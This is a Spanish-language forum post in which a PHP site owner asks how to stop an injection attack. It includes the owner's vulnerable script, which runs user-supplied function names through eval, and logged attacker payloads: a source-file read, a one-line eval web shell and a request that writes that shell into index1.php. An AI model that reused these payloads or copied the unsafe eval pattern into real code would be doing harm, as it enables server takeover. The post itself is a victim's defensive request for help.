Ver Mensaje Individual
  #1 (permalink)  
Antiguo 02/03/2011, 12:10
Avatar de CuriositO
CuriositO
 
Fecha de Ingreso: febrero-2011
Ubicación: Habana
Mensajes: 9
Antigüedad: 13 años, 2 meses
Puntos: 0
Exclamación Inyección XSS, Seguridad PHP, Eval, y otras funciones ayuda!!

Tengo el siguiente problema me estan haciendo una inyecion y la unica forma q se me ocurre es a traves de:

Código PHP:
Ver original
  1. <?php
  2.         $pr="arme_";
  3.         $_us="{$pr}users";
  4.         $_ol="{$pr}online";
  5.         $_fi="{$pr}files";
  6.         $_st="{$pr}estad";
  7.         session_start();
  8.         foreach( $_POST as $data => $valor ){
  9.        $_POST [ $data ] = str_replace ( "'" , "\'" , $_POST [ $data ]);
  10.        }
  11.        foreach( $_POST as $data => $valor ){
  12.        $_POST [ $data ] = str_replace ( "$" , "\'" , $_POST [ $data ]);
  13.        }
  14.         $data=$_POST['data'];
  15.         $fn=array('ping','initialize','login','themess','exitapp','changeattr','changesas','adminact','delfile','sendfile','aprobfile','nopriv','endsession','changeprof','changemydata','writeon','newlnk');
  16.         $ul=$_SESSION['ul'];
  17.         $ret='';
  18.         $prs=split("\|",$data);
  19.        
  20.         error_reporting(0);
  21.        
  22.  
  23.  
  24.         $connected = mysql_connect("xxx","root","xxx");
  25.         $db = mysql_select_db("xxx");
  26.  
  27.        
  28.         foreach($prs as $pr){parse_str($pr); // $i= id enviado
  29.             if (in_array($a,$fn)){ // si es una funcion valida
  30.             if ($i>$ul || $i==0){ // si no fue evaluada anteriormente u obligatoria
  31.                 eval($a.'($pr);'); //echo "alert('aaa=$i');";
  32.                 if ($i!=0) $ul=$i; // solo las no eval
  33.             }} else {
  34.                 $ret.="unkw('$a');\r\n";
  35.             }
  36.         } $_SESSION['ul']=$ul;
  37.        
  38. ////////////////////////////////////////////////////////////////////////////////
  39.     if (!isset($_POST['svr'])) $_POST['svr']=0;
  40.     /*if (isset($_SESSION['me'])) ping($_POST['svr']); else {
  41.         $ret.="force_disconect();\r\n";
  42.    
  43.     }*/
  44.     $ret="revived($ul);\r\n".$ret;
  45.     //$ret.="alert('".strlen($ret)."');\r\n";
  46.     echo "$ret";
  47.     mysql_close($connected);

Y gracias a un script he podido detectar q me han inyectado lo siguiente:

IP: xxx
Method: POST
Value: echo file_get_contents(getenv(\'SCRIPT_FILENAME\'));
Script:
Time: Tuesday 01st 2011f March 2011 12:45:37 PM
==================================
IP: xxx
Method: POST
Value: <? extract($_POST); $eva=stripslashes($eva); eval($eva); ?>
Script:
Time: Tuesday 01st 2011f March 2011 12:45:37 PM
==================================
IP: xxx
Method: POST
Value: echo file_get_contents(getenv(SCRIPT_FILENAME));
Script:
Time: Tuesday 01st 2011f March 2011 12:46:50 PM
==================================
IP: xxx
Method: POST
Value: file_put_contents($z1,$z2);
Script:
Time: Tuesday 01st 2011f March 2011 12:50:43 PM
==================================
IP: xxx
Method: POST
Value: a=eval($et);//&fn[]=eval($et);//&et=aaaass&z1=index1.php&z2=<? extract($_POST); $eva=stripslashes($eva); eval($eva); ?>
Script:
Time: Tuesday 01st 2011f March 2011 01:10:31 PM

Por favor necesito ayuda. Alguna sugerencia de como evitar la inyeccion.
Agradecido de antemano. Al parecer utliza mis eval para inyectar el codigo, como puedo evaluar?, estuve probando varias funciones pero que ninguna resultó totalmente efectiva.